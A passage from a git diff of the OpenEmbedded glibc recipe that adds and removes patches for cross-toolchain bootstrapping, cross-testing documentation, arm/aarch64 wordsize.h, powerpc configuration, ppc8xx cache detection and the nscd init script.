-+ $ make csu/subdir_lib
-+ $ cp csu/crt1.o csu/crti.o csu/crtn.o $sysroot/usr/lib
-+
-+Finally, 'libgcc_s.so' requires a 'libc.so' to link against. However,
-+since we will never actually execute its code, it doesn't matter what
-+it contains. So, treating '/dev/null' as a C source file, we produce
-+a dummy 'libc.so' in one step:
-+
-+ $ $tools/bin/$target-gcc -nostdlib -nostartfiles -shared -x c /dev/null \
-+ > -o $sysroot/usr/lib/libc.so
-+
-+
-+The Second GCC
-+
-+With the GLIBC headers and selected object files installed, we can
-+now build a GCC that is capable of compiling GLIBC. We configure,
-+build, and install the second GCC, again building only the C compiler,
-+and avoiding libraries we won't use:
-+
-+ $ mkdir -p $obj/gcc2
-+ $ cd $obj/gcc2
-+ $ $src/$gccv/configure \
-+ > --target=$target \
-+ > --prefix=$tools \
-+ > --with-sysroot=$sysroot \
-+ > --disable-libssp --disable-libgomp --disable-libmudflap \
-+ > --disable-libffi --disable-libquadmath \
-+ > --enable-languages=c
-+ $ PATH=$tools/bin:$PATH make
-+ $ PATH=$tools/bin:$PATH make install
-+
-+
-+GLIBC, Complete
-+
-+With the second compiler built and installed, we're now ready for the
-+full GLIBC build:
-+
-+ $ mkdir -p $obj/glibc
-+ $ cd $obj/glibc
-+ $ BUILD_CC=gcc \
-+ > CC=$tools/bin/$target-gcc \
-+ > CXX=$tools/bin/$target-g++ \
-+ > AR=$tools/bin/$target-ar \
-+ > RANLIB=$tools/bin/$target-ranlib \
-+ > $src/glibc/libc/configure \
-+ > --prefix=/usr \
-+ > --with-headers=$sysroot/usr/include \
-+ > --with-kconfig=$obj/linux/scripts/kconfig \
-+ > --build=$build \
-+ > --host=$target \
-+ > --disable-profile --without-gd --without-cvs \
-+ > --enable-add-ons=nptl,libidn,../ports
-+
-+Note the additional '--with-kconfig' option. This tells GLIBC where to
-+find the host config tools used by the kernel 'make config' and 'make
-+menuconfig'. These tools can be re-used by GLIBC for its own 'make
-+*config' support, which will create 'option-groups.config' for you.
-+But first make sure those tools have been built by running some
-+dummy 'make *config' calls in the kernel directory:
-+
-+ $ cd $obj/linux
-+ $ PATH=$tools/bin:$PATH make config \
-+ > ARCH=$linux_arch CROSS_COMPILE=$target- \
-+ $ PATH=$tools/bin:$PATH make menuconfig \
-+ > ARCH=$linux_arch CROSS_COMPILE=$target- \
-+
-+Now we can configure and build the full GLIBC:
-+
-+ $ cd $obj/glibc
-+ $ PATH=$tools/bin:$PATH make defconfig
-+ $ PATH=$tools/bin:$PATH make menuconfig
-+ $ PATH=$tools/bin:$PATH make
-+ $ PATH=$tools/bin:$PATH make install install_root=$sysroot
-+
-+At this point, we have a complete GLIBC installation in '$sysroot',
-+with header files, library files, and most of the C runtime startup
-+files in place.
-+
-+
-+The Third GCC
-+
-+Finally, we recompile GCC against this full installation, enabling
-+whatever languages and libraries we would like to use:
-+
-+ $ mkdir -p $obj/gcc3
-+ $ cd $obj/gcc3
-+ $ $src/$gccv/configure \
-+ > --target=$target \
-+ > --prefix=$tools \
-+ > --with-sysroot=$sysroot \
-+ > --enable-__cxa_atexit \
-+ > --disable-libssp --disable-libgomp --disable-libmudflap \
-+ > --enable-languages=c,c++
-+ $ PATH=$tools/bin:$PATH make
-+ $ PATH=$tools/bin:$PATH make install
-+
-+The '--enable-__cxa_atexit' option tells GCC what sort of C++
-+destructor support to expect from the C library; it's required with
-+GLIBC.
-+
-+And since GCC's installation process isn't designed to help construct
-+sysroot trees, we must manually copy certain libraries into place in
-+the sysroot.
-+
-+ $ cp -d $tools/$target/lib/libgcc_s.so* $sysroot/lib
-+ $ cp -d $tools/$target/lib/libstdc++.so* $sysroot/usr/lib
-+
-+
-+Trying Things Out
-+
-+At this point, '$tools' contains a cross toolchain ready to use
-+the GLIBC installation in '$sysroot':
-+
-+ $ cat > hello.c <<EOF
-+ > #include <stdio.h>
-+ > int
-+ > main (int argc, char **argv)
-+ > {
-+ > puts ("Hello, world!");
-+ > return 0;
-+ > }
-+ > EOF
-+ $ $tools/bin/$target-gcc -Wall hello.c -o hello
-+ $ cat > c++-hello.cc <<EOF
-+ > #include <iostream>
-+ > int
-+ > main (int argc, char **argv)
-+ > {
-+ > std::cout << "Hello, C++ world!" << std::endl;
-+ > return 0;
-+ > }
-+ > EOF
-+ $ $tools/bin/$target-g++ -Wall c++-hello.cc -o c++-hello
-+
-+
-+We can use 'readelf' to verify that these are indeed executables for
-+our target, using our dynamic linker:
-+
-+ $ $tools/bin/$target-readelf -hl hello
-+ ELF Header:
-+ ...
-+ Type: EXEC (Executable file)
-+ Machine: ARM
-+
-+ ...
-+ Program Headers:
-+ Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
-+ PHDR 0x000034 0x10000034 0x10000034 0x00100 0x00100 R E 0x4
-+ INTERP 0x000134 0x00008134 0x00008134 0x00013 0x00013 R 0x1
-+ [Requesting program interpreter: /lib/ld-linux.so.3]
-+ LOAD 0x000000 0x00008000 0x00008000 0x0042c 0x0042c R E 0x8000
-+ ...
-+
-+Looking at the dynamic section of the installed 'libgcc_s.so', we see
-+that the 'NEEDED' entry for the C library does include the '.6'
-+suffix, indicating that was linked against our fully build GLIBC, and
-+not our dummy 'libc.so':
-+
-+ $ $tools/bin/$target-readelf -d $sysroot/lib/libgcc_s.so.1
-+ Dynamic section at offset 0x1083c contains 24 entries:
-+ Tag Type Name/Value
-+ 0x00000001 (NEEDED) Shared library: [libc.so.6]
-+ 0x0000000e (SONAME) Library soname: [libgcc_s.so.1]
-+ ...
-+
-+
-+And on the target machine, we can run our programs:
-+
-+ $ $sysroot/lib/ld.so.1 --library-path $sysroot/lib:$sysroot/usr/lib \
-+ > ./hello
-+ Hello, world!
-+ $ $sysroot/lib/ld.so.1 --library-path $sysroot/lib:$sysroot/usr/lib \
-+ > ./c++-hello
-+ Hello, C++ world!
-diff --git a/GLIBC.cross-testing b/GLIBC.cross-testing
-new file mode 100644
-index 0000000000..b67b468466
---- /dev/null
-+++ b/GLIBC.cross-testing
-@@ -0,0 +1,205 @@
-+ -*- mode: text -*-
-+
-+ Cross-Testing With GLIBC
-+ Jim Blandy <jimb@codesourcery.com>
-+
-+
-+Introduction
-+
-+Developers writing software for embedded systems often use a desktop
-+or other similarly capable computer for development, but need to run
-+tests on the embedded system, or perhaps on a simulator. When
-+configured for cross-compilation, the stock GNU C library simply
-+disables running tests altogether: the command 'make tests' builds
-+test programs, but does not run them. GLIBC, however, provides
-+facilities for compiling tests and generating data files on the build
-+system, but running the test programs themselves on a remote system or
-+simulator.
-+
-+
-+Test environment requirements
-+
-+The test environment must meet certain conditions for GLIBC's
-+cross-testing facilities to work:
-+
-+- Shared filesystems. The 'build' system, on which you configure and
-+ compile GLIBC, and the 'host' system, on which you intend to run
-+ GLIBC, must share a filesystem containing the GLIBC build and
-+ source trees. Files must appear at the same paths on both systems.
-+
-+- Remote-shell like invocation. There must be a way to run a program
-+ on the host system from the build system, passing it properly quoted
-+ command-line arguments, setting environment variables, and
-+ inheriting the caller's standard input and output.
-+
-+
-+Usage
-+
-+To use GLIBC's cross-testing support, provide values for the
-+following Make variables when you invoke 'make':
-+
-+- cross-test-wrapper
-+
-+ This should be the name of the cross-testing wrapper command, along
-+ with any arguments.
-+
-+- cross-localedef
-+
-+ This should be the name of a cross-capable localedef program, like
-+ that included in the GLIBC 'localedef' module, along with any
-+ arguments needed.
-+
-+These are each explained in detail below.
-+
-+
-+The Cross-Testing Wrapper
-+
-+To run test programs reliably, the stock GNU C library takes care to
-+ensure that test programs use the newly compiled dynamic linker and
-+shared libraries, and never the host system's installed libraries. To
-+accomplish this, it runs the tests by explicitly invoking the dynamic
-+linker from the build tree, passing it a list of build tree
-+directories to search for shared libraries, followed by the name of
-+the executable to run and its arguments.
-+
-+For example, where one might normally run a test program like this:
-+
-+ $ ./tst-foo arg1 arg2
-+
-+the GNU C library might run that program like this:
-+
-+ $ $objdir/elf/ld-linux.so.3 --library-path $objdir \
-+ ./tst-foo arg1 arg2
-+
-+(where $objdir is the path to the top of the build tree, and the
-+trailing backslash indicates a continuation of the command). In other
-+words, each test program invocation is 'wrapped up' inside an explicit
-+invocation of the dynamic linker, which must itself execute the test
-+program, having loaded shared libraries from the appropriate
-+directories.
-+
-+To support cross-testing, GLIBC allows the developer to optionally
-+set the 'cross-test-wrapper' Make variable to another wrapper command,
-+to which it passes the entire dynamic linker invocation shown above as
-+arguments. For example, if the developer supplies a wrapper of
-+'my-wrapper hostname', then GLIBC would run the test above as
-+follows:
-+
-+ $ my-wrapper hostname \
-+ $objdir/elf/ld-linux.so.3 --library-path $objdir \
-+ ./tst-foo arg1 arg2
-+
-+The 'my-wrapper' command is responsible for executing the command
-+given on the host system.
-+
-+Since tests are run in varying directories, the wrapper should either
-+be in your command search path, or 'cross-test-wrapper' should give an
-+absolute path for the wrapper.
-+
-+The wrapper must meet several requirements:
-+
-+- It must preserve the current directory. As explained above, the
-+ build directory tree must be visible on both the build and host
-+ systems, at the same path. The test wrapper must ensure that the
-+ current directory it inherits is also inherited by the dynamic
-+ linker (and thus the test program itself).
-+
-+- It must preserve environment variables' values. Many GLIBC tests
-+ set environment variables for test runs; in native testing, it
-+ invokes programs like this:
-+
-+ $ GCONV_PATH=$objdir/iconvdata \
-+ $objdir/elf/ld-linux.so.3 --library-path $objdir \
-+ ./tst-foo arg1 arg2
-+
-+ With the cross-testing wrapper, that invocation becomes:
-+
-+ $ GCONV_PATH=$objdir/iconvdata \
-+ my-wrapper hostname \
-+ $objdir/elf/ld-linux.so.3 --library-path $objdir \
-+ ./tst-foo arg1 arg2
-+
-+ Here, 'my-wrapper' must ensure that the value it sees for
-+ 'GCONV_PATH' will be seen by the dynamic linker, and thus 'tst-foo'
-+ itself. (The wrapper supplied with GLIBC simply preserves the
-+ values of *all* enviroment variables, with a fixed set of
-+ exceptions.)
-+
-+ If your wrapper is a shell script, take care to correctly propagate
-+ environment variables whose values contain spaces and shell
-+ metacharacters.
-+
-+- It must pass the command's arguments, unmodified. The arguments
-+ seen by the test program should be exactly those seen by the wrapper
-+ (after whatever arguments are given to the wrapper itself). The
-+ GLIBC test framework performs all needed shell word splitting and
-+ expansion (wildcard expansion, parameter substitution, and so on)
-+ before invoking the wrapper; further expansion may break the tests.
-+
-+
-+The 'cross-test-ssh.sh' script
-+
-+If you want to use 'ssh' (or something sufficiently similar) to run
-+test programs on your host system, GLIBC includes a shell script,
-+'scripts/cross-test-ssh.sh', which you can use as your wrapper
-+command. This script takes care of setting the test command's current
-+directory, propagating environment variable values, and carrying
-+command-line arguments, all across an 'ssh' connection. You may even
-+supply an alternative to 'ssh' on the command line, if needed.
-+
-+For more details, pass 'cross-test-ssh.sh' the '--help' option.
-+
-+
-+The Cross-Compiling Locale Definition Command
-+
-+Some GLIBC tests rely on locales generated especially for the test
-+process. In a native configuration, these tests simply run the
-+'localedef' command built by the normal GLIBC build process,
-+'locale/localedef', to process and install their locales. However, in
-+a cross-compiling configuration, this 'localedef' is built for the
-+host system, not the build system, and since it requires quite a bit
-+of memory to run (we have seen it fail on systems with 64MiB of
-+memory), it may not be practical to run it on the host system.
-+
-+If set, GLIBC uses the 'cross-localedef' Make variable as the command
-+to run on the build system to process and install locales. The
-+localedef program built from the GLIBC 'localedef' module is
-+suitable.
-+
-+The value of 'cross-localedef' may also include command-line arguments
-+to be passed to the program; if you are using GLIBC's 'localedef',
-+you may include endianness and 'uint32_t' alignment arguments here.
-+
-+
-+Example
-+
-+In developing GLIBC's cross-testing facility, we invoked 'make' with
-+the following script:
-+
-+ #!/bin/sh
-+
-+ srcdir=...
-+ test_hostname=...
-+ localedefdir=...
-+ cross_gxx=...-g++
-+
-+ wrapper="$srcdir/scripts/cross-test-ssh.sh $test_hostname"
-+ localedef="$localedefdir/localedef --little-endian --uint32-align=4"
-+
-+ make cross-test-wrapper="$wrapper" \
-+ cross-localedef="$localedef" \
-+ CXX="$cross_gxx" \
-+ "$@"
-+
-+
-+Other Cross-Testing Concerns
-+
-+Here are notes on some other issues which you may encounter in running
-+the GLIBC tests in a cross-compiling environment:
-+
-+- Some tests require a C++ cross-compiler; you should set the 'CXX'
-+ Make variable to the name of an appropriate cross-compiler.
-+
-+- Some tests require access to libstdc++.so.6 and libgcc_s.so.1; we
-+ simply place copies of these libraries in the top GLIBC build
-+ directory.
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0018-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch b/meta/recipes-core/glibc/glibc/0018-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch
new file mode 100644
index 0000000000..3b2d638b5f
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0018-wordsize.h-Unify-the-header-between-arm-and-aarch64.patch
@@ -0,0 +1,70 @@
+From 4d6bce6b106d9d9a629aadba74d74cd8a500ccbf Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 15 May 2020 17:05:45 -0700
+Subject: [PATCH 18/24] wordsize.h: Unify the header between arm and aarch64
+
+This helps OE multilibs to not sythesize this header which causes all
+kind of recursions and other issues since wordsize is fundamental header
+and ends up including itself in many case e.g. clang tidy, bpf etc.
+
+Upstream-Status: Inappropriate [ OE-Specific ]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/aarch64/bits/wordsize.h | 8 ++++++--
+ sysdeps/{aarch64 => arm}/bits/wordsize.h | 10 +++++++---
+ 2 files changed, 13 insertions(+), 5 deletions(-)
+ copy sysdeps/{aarch64 => arm}/bits/wordsize.h (80%)
+
+diff --git a/sysdeps/aarch64/bits/wordsize.h b/sysdeps/aarch64/bits/wordsize.h
+index 4635431f0e..5ef0ed21f3 100644
+--- a/sysdeps/aarch64/bits/wordsize.h
++++ b/sysdeps/aarch64/bits/wordsize.h
+@@ -17,12 +17,16 @@
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+-#ifdef __LP64__
++#if defined (__aarch64__) && defined (__LP64__)
+ # define __WORDSIZE 64
+-#else
++#elif defined (__aarch64__)
+ # define __WORDSIZE 32
+ # define __WORDSIZE32_SIZE_ULONG 1
+ # define __WORDSIZE32_PTRDIFF_LONG 1
++#else
++# define __WORDSIZE 32
++# define __WORDSIZE32_SIZE_ULONG 0
++# define __WORDSIZE32_PTRDIFF_LONG 0
+ #endif
+
+ #define __WORDSIZE_TIME64_COMPAT32 0
+diff --git a/sysdeps/aarch64/bits/wordsize.h b/sysdeps/arm/bits/wordsize.h
+similarity index 80%
+copy from sysdeps/aarch64/bits/wordsize.h
+copy to sysdeps/arm/bits/wordsize.h
+index 4635431f0e..34fcdef1f1 100644
+--- a/sysdeps/aarch64/bits/wordsize.h
++++ b/sysdeps/arm/bits/wordsize.h
+@@ -17,12 +17,16 @@
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+-#ifdef __LP64__
++#if defined (__aarch64__) && defined (__LP64__)
+ # define __WORDSIZE 64
+-#else
++#elif defined (__aarch64__)
+ # define __WORDSIZE 32
+ # define __WORDSIZE32_SIZE_ULONG 1
+ # define __WORDSIZE32_PTRDIFF_LONG 1
++#else
++# define __WORDSIZE 32
++# define __WORDSIZE32_SIZE_ULONG 0
++# define __WORDSIZE32_PTRDIFF_LONG 0
+ #endif
+
+ #define __WORDSIZE_TIME64_COMPAT32 0
+--
+2.34.1
+
diff --git a/meta/recipes-core/glibc/glibc/0019-eglibc-Help-bootstrap-cross-toolchain.patch b/meta/recipes-core/glibc/glibc/0019-eglibc-Help-bootstrap-cross-toolchain.patch
deleted file mode 100644
index 0333db2814..0000000000
--- a/meta/recipes-core/glibc/glibc/0019-eglibc-Help-bootstrap-cross-toolchain.patch
+++ /dev/null
@@ -1,100 +0,0 @@
-From 2864aaae984d945445f3f79869c703e0b791df88 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:49:28 +0000
-Subject: [PATCH 19/28] eglibc: Help bootstrap cross toolchain
-
-Taken from EGLIBC, r1484 + r1525
-
- 2007-02-20 Jim Blandy <jimb@codesourcery.com>
-
- * Makefile (install-headers): Preserve old behavior: depend on
- $(inst_includedir)/gnu/stubs.h only if install-bootstrap-headers
- is set; otherwise, place gnu/stubs.h on the 'install-others' list.
-
- 2007-02-16 Jim Blandy <jimb@codesourcery.com>
-
- * Makefile: Amend make install-headers to install everything
- necessary for building a cross-compiler. Install gnu/stubs.h as
- part of 'install-headers', not 'install-others'.
- If install-bootstrap-headers is 'yes', install a dummy copy of
- gnu/stubs.h, instead of computing the real thing.
- * include/stubs-bootstrap.h: New file.
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Makefile | 22 +++++++++++++++++++++-
- include/stubs-bootstrap.h | 12 ++++++++++++
- 2 files changed, 33 insertions(+), 1 deletion(-)
- create mode 100644 include/stubs-bootstrap.h
-
-diff --git a/Makefile b/Makefile
-index 9fbf705200..64bfd455bc 100644
---- a/Makefile
-+++ b/Makefile
-@@ -70,9 +70,18 @@ subdir-dirs = include
- vpath %.h $(subdir-dirs)
-
- # What to install.
--install-others = $(inst_includedir)/gnu/stubs.h
- install-bin-script =
-
-+# If we're bootstrapping, install a dummy gnu/stubs.h along with the
-+# other headers, so 'make install-headers' produces a useable include
-+# tree. Otherwise, install gnu/stubs.h later, after the rest of the
-+# build is done.
-+ifeq ($(install-bootstrap-headers),yes)
-+install-headers: $(inst_includedir)/gnu/stubs.h
-+else
-+install-others = $(inst_includedir)/gnu/stubs.h
-+endif
-+
- ifeq (yes,$(build-shared))
- headers += gnu/lib-names.h
- endif
-@@ -196,6 +205,16 @@ others: $(common-objpfx)testrun.sh
-
- subdir-stubs := $(foreach dir,$(subdirs),$(common-objpfx)$(dir)/stubs)
-
-+# gnu/stubs.h depends (via the subdir 'stubs' targets) on all the .o
-+# files in EGLIBC. For bootstrapping a GCC/EGLIBC pair, an empty
-+# gnu/stubs.h is good enough.
-+ifeq ($(install-bootstrap-headers),yes)
-+$(inst_includedir)/gnu/stubs.h: include/stubs-bootstrap.h $(+force)
-+ $(make-target-directory)
-+ $(INSTALL_DATA) $< $@
-+
-+installed-stubs =
-+else
- ifndef abi-variants
- installed-stubs = $(inst_includedir)/gnu/stubs.h
- else
-@@ -222,6 +241,7 @@ $(inst_includedir)/gnu/stubs.h: $(+force)
-
- install-others-nosubdir: $(installed-stubs)
- endif
-+endif
-
-
- # Since stubs.h is never needed when building the library, we simplify the
-diff --git a/include/stubs-bootstrap.h b/include/stubs-bootstrap.h
-new file mode 100644
-index 0000000000..1d2b669aff
---- /dev/null
-+++ b/include/stubs-bootstrap.h
-@@ -0,0 +1,12 @@
-+/* Placeholder stubs.h file for bootstrapping.
-+
-+ When bootstrapping a GCC/EGLIBC pair, GCC requires that the EGLIBC
-+ headers be installed, but we can't fully build EGLIBC without that
-+ GCC. So we run the command:
-+
-+ make install-headers install-bootstrap-headers=yes
-+
-+ to install the headers GCC needs, but avoid building certain
-+ difficult headers. The <gnu/stubs.h> header depends, via the
-+ EGLIBC subdir 'stubs' make targets, on every .o file in EGLIBC, but
-+ an empty stubs.h like this will do fine for GCC. */
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0019-powerpc-Do-not-ask-compiler-for-finding-arch.patch b/meta/recipes-core/glibc/glibc/0019-powerpc-Do-not-ask-compiler-for-finding-arch.patch
new file mode 100644
index 0000000000..4313c6860f
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0019-powerpc-Do-not-ask-compiler-for-finding-arch.patch
@@ -0,0 +1,48 @@
+From eb44466ec976d800bb697b10775efa28f22ec216 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Fri, 7 Aug 2020 14:31:16 -0700
+Subject: [PATCH] powerpc: Do not ask compiler for finding arch
+
+This does not work well in cross compiling environments like OE
+and moreover it uses its own -mcpu/-march options via cflags
+
+Upstream-Status: Inappropriate [ OE-Specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ sysdeps/powerpc/preconfigure | 5 +----
+ sysdeps/powerpc/preconfigure.ac | 5 +----
+ 2 files changed, 2 insertions(+), 8 deletions(-)
+
+diff --git a/sysdeps/powerpc/preconfigure b/sysdeps/powerpc/preconfigure
+index dfe8e20399..bbff040f0f 100644
+--- a/sysdeps/powerpc/preconfigure
++++ b/sysdeps/powerpc/preconfigure
+@@ -29,10 +29,7 @@ esac
+ # directive which shows up, and try using it.
+ case "${machine}:${submachine}" in
+ *powerpc*:)
+- archcpu=`echo "int foo () { return 0; }" \
+- | $CC $CFLAGS $CPPFLAGS -S -frecord-gcc-switches -xc -o - - \
+- | grep -E "mcpu=|.machine" -m 1 \
+- | sed -e "s/.*machine //" -e "s/.*mcpu=\(.*\)\"/\1/"`
++ archcpu=''
+ # Note if you add patterns here you must ensure that an appropriate
+ # directory exists in sysdeps/powerpc. Likewise, if we find a
+ # cpu, don't let the generic configure append extra compiler options.
+diff --git a/sysdeps/powerpc/preconfigure.ac b/sysdeps/powerpc/preconfigure.ac
+index 6c63bd8257..3e925f1d48 100644
+--- a/sysdeps/powerpc/preconfigure.ac
++++ b/sysdeps/powerpc/preconfigure.ac
+@@ -29,10 +29,7 @@ esac
+ # directive which shows up, and try using it.
+ case "${machine}:${submachine}" in
+ *powerpc*:)
+- archcpu=`echo "int foo () { return 0; }" \
+- | $CC $CFLAGS $CPPFLAGS -S -frecord-gcc-switches -xc -o - - \
+- | grep -E "mcpu=|[.]machine" -m 1 \
+- | sed -e "s/.*machine //" -e "s/.*mcpu=\(.*\)\"/\1/"`
++ archcpu=''
+ # Note if you add patterns here you must ensure that an appropriate
+ # directory exists in sysdeps/powerpc. Likewise, if we find a
+ # cpu, don't let the generic configure append extra compiler options.
diff --git a/meta/recipes-core/glibc/glibc/0020-eglibc-Clear-cache-lines-on-ppc8xx.patch b/meta/recipes-core/glibc/glibc/0020-eglibc-Clear-cache-lines-on-ppc8xx.patch
deleted file mode 100644
index 965ad6578e..0000000000
--- a/meta/recipes-core/glibc/glibc/0020-eglibc-Clear-cache-lines-on-ppc8xx.patch
+++ /dev/null
@@ -1,83 +0,0 @@
-From e2667086bf984de4d3f1226b9467761cd5a4c39f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 31 Dec 2015 15:15:09 -0800
-Subject: [PATCH 20/28] eglibc: Clear cache lines on ppc8xx
-
-2007-06-13 Nathan Sidwell <nathan@codesourcery.com>
- Mark Shinwell <shinwell@codesourcery.com>
-
- * sysdeps/unix/sysv/linux/powerpc/libc-start.c
- (__libc_start_main): Detect 8xx parts and clear
- __cache_line_size if detected.
- * sysdeps/unix/sysv/linux/powerpc/dl-sysdep.c
- (DL_PLATFORM_AUXV): Likewise.
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/unix/sysv/linux/powerpc/dl-sysdep.c | 14 +++++++++++++-
- sysdeps/unix/sysv/linux/powerpc/libc-start.c | 16 +++++++++++++++-
- 2 files changed, 28 insertions(+), 2 deletions(-)
-
-diff --git a/sysdeps/unix/sysv/linux/powerpc/dl-sysdep.c b/sysdeps/unix/sysv/linux/powerpc/dl-sysdep.c
-index b04ecc4a4c..75bda97241 100644
---- a/sysdeps/unix/sysv/linux/powerpc/dl-sysdep.c
-+++ b/sysdeps/unix/sysv/linux/powerpc/dl-sysdep.c
-@@ -24,9 +24,21 @@ int __cache_line_size attribute_hidden;
- /* Scan the Aux Vector for the "Data Cache Block Size" entry. If found
- verify that the static extern __cache_line_size is defined by checking
- for not NULL. If it is defined then assign the cache block size
-- value to __cache_line_size. */
-+ value to __cache_line_size. This is used by memset to
-+ optimize setting to zero. We have to detect 8xx processors, which
-+ have buggy dcbz implementations that cannot report page faults
-+ correctly. That requires reading SPR, which is a privileged
-+ operation. Fortunately 2.2.18 and later emulates PowerPC mfspr
-+ reads from the PVR register. */
- #define DL_PLATFORM_AUXV \
- case AT_DCACHEBSIZE: \
-+ if (__LINUX_KERNEL_VERSION >= 0x020218) \
-+ { \
-+ unsigned pvr = 0; \
-+ asm ("mfspr %0, 287" : "=r" (pvr)); \
-+ if ((pvr & 0xffff0000) == 0x00500000) \
-+ break; \
-+ } \
- __cache_line_size = av->a_un.a_val; \
- break;
-
-diff --git a/sysdeps/unix/sysv/linux/powerpc/libc-start.c b/sysdeps/unix/sysv/linux/powerpc/libc-start.c
-index 4fd5f70700..1a21e4675c 100644
---- a/sysdeps/unix/sysv/linux/powerpc/libc-start.c
-+++ b/sysdeps/unix/sysv/linux/powerpc/libc-start.c
-@@ -73,11 +73,25 @@ __libc_start_main (int argc, char **argv,
-
- /* Initialize the __cache_line_size variable from the aux vector. For the
- static case, we also need _dl_hwcap, _dl_hwcap2 and _dl_platform, so we
-- can call __tcb_parse_hwcap_and_convert_at_platform (). */
-+ can call __tcb_parse_hwcap_and_convert_at_platform ().
-+
-+ This is used by memset to optimize setting to zero. We have to
-+ detect 8xx processors, which have buggy dcbz implementations that
-+ cannot report page faults correctly. That requires reading SPR,
-+ which is a privileged operation. Fortunately 2.2.18 and later
-+ emulates PowerPC mfspr reads from the PVR register. */
- for (ElfW (auxv_t) * av = auxvec; av->a_type != AT_NULL; ++av)
- switch (av->a_type)
- {
- case AT_DCACHEBSIZE:
-+ if (__LINUX_KERNEL_VERSION >= 0x020218)
-+ {
-+ unsigned pvr = 0;
-+
-+ asm ("mfspr %0, 287" : "=r" (pvr) :);
-+ if ((pvr & 0xffff0000) == 0x00500000)
-+ break;
-+ }
- __cache_line_size = av->a_un.a_val;
- break;
- #ifndef SHARED
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0021-Replace-echo-with-printf-builtin-in-nscd-init-script.patch b/meta/recipes-core/glibc/glibc/0021-Replace-echo-with-printf-builtin-in-nscd-init-script.patch
new file mode 100644
index 0000000000..42c498bbc8
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0021-Replace-echo-with-printf-builtin-in-nscd-init-script.patch
@@ -0,0 +1,79 @@
+From 77fbd98f551d5b2cd338aa7f524e5ed980edb65e Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 31 Dec 2015 14:33:02 -0800
+Subject: [PATCH] Replace echo with printf builtin in nscd init script
+
+The nscd init script calls for #! /bin/bash interpreter
+since it uses bash specific extentions namely (translated strings)
+and echo -n command, replace echo with printf and
+switch the shell interpreter to #!/bin/sh.
+
+Upstream-Status: Submitted [https://patchwork.sourceware.org/project/glibc/patch/20211209203557.1318333-1-raj.khem@gmail.com/]
+Signed-off-by: Ross Burton <ross.burton@arm.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ nscd/nscd.init | 20 ++++++++++----------
+ 1 file changed, 10 insertions(+), 10 deletions(-)
+
+diff --git a/nscd/nscd.init b/nscd/nscd.init
+index a882da7d8b..857b541381 100644
+--- a/nscd/nscd.init
++++ b/nscd/nscd.init
+@@ -1,4 +1,4 @@
+-#!/bin/bash
++#!/bin/sh
+ #
+ # nscd: Starts the Name Switch Cache Daemon
+ #
+@@ -49,16 +49,16 @@ prog=nscd
+ start () {
+ [ -d /var/run/nscd ] || mkdir /var/run/nscd
+ [ -d /var/db/nscd ] || mkdir /var/db/nscd
+- echo -n $"Starting $prog: "
++ printf "Starting $prog: "
+ daemon /usr/sbin/nscd
+ RETVAL=$?
+- echo
++ printf "\n"
+ [ $RETVAL -eq 0 ] && touch /var/lock/subsys/nscd
+ return $RETVAL
+ }
+
+ stop () {
+- echo -n $"Stopping $prog: "
++ printf "Stopping $prog: "
+ /usr/sbin/nscd -K
+ RETVAL=$?
+ if [ $RETVAL -eq 0 ]; then
+@@ -67,11 +67,11 @@ stop () {
+ # a non-privileged user
+ rm -f /var/run/nscd/nscd.pid
+ rm -f /var/run/nscd/socket
+- success $"$prog shutdown"
++ success "$prog shutdown"
+ else
+- failure $"$prog shutdown"
++ failure "$prog shutdown"
+ fi
+- echo
++ printf "\n"
+ return $RETVAL
+ }
+
+@@ -103,13 +103,13 @@ case "$1" in
+ RETVAL=$?
+ ;;
+ force-reload | reload)
+- echo -n $"Reloading $prog: "
++ printf "Reloading $prog: "
+ killproc /usr/sbin/nscd -HUP
+ RETVAL=$?
+- echo
++ printf "\n"
+ ;;
+ *)
+- echo $"Usage: $0 {start|stop|status|restart|reload|condrestart}"
++ printf "Usage: $0 {start|stop|status|restart|reload|condrestart}\n"
+ RETVAL=1
+ ;;
+ esac
diff --git a/meta/recipes-core/glibc/glibc/0021-eglibc-Resolve-__fpscr_values-on-SH4.patch b/meta/recipes-core/glibc/glibc/0021-eglibc-Resolve-__fpscr_values-on-SH4.patch
deleted file mode 100644
index 76551cf559..0000000000
--- a/meta/recipes-core/glibc/glibc/0021-eglibc-Resolve-__fpscr_values-on-SH4.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-From b7290e54a1bda7a0212131655bc27926fc22de22 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:55:53 +0000
-Subject: [PATCH 21/28] eglibc: Resolve __fpscr_values on SH4
-
-2010-09-29 Nobuhiro Iwamatsu <iwamatsu@nigauri.org>
- Andrew Stubbs <ams@codesourcery.com>
-
- Resolve SH's __fpscr_values to symbol in libc.so.
-
- * sysdeps/sh/sh4/fpu/fpu_control.h: Add C++ __set_fpscr prototype.
- * sysdeps/unix/sysv/linux/sh/Versions (GLIBC_2.2): Add __fpscr_values.
- * sysdeps/unix/sysv/linux/sh/sysdep.S (___fpscr_values): New constant.
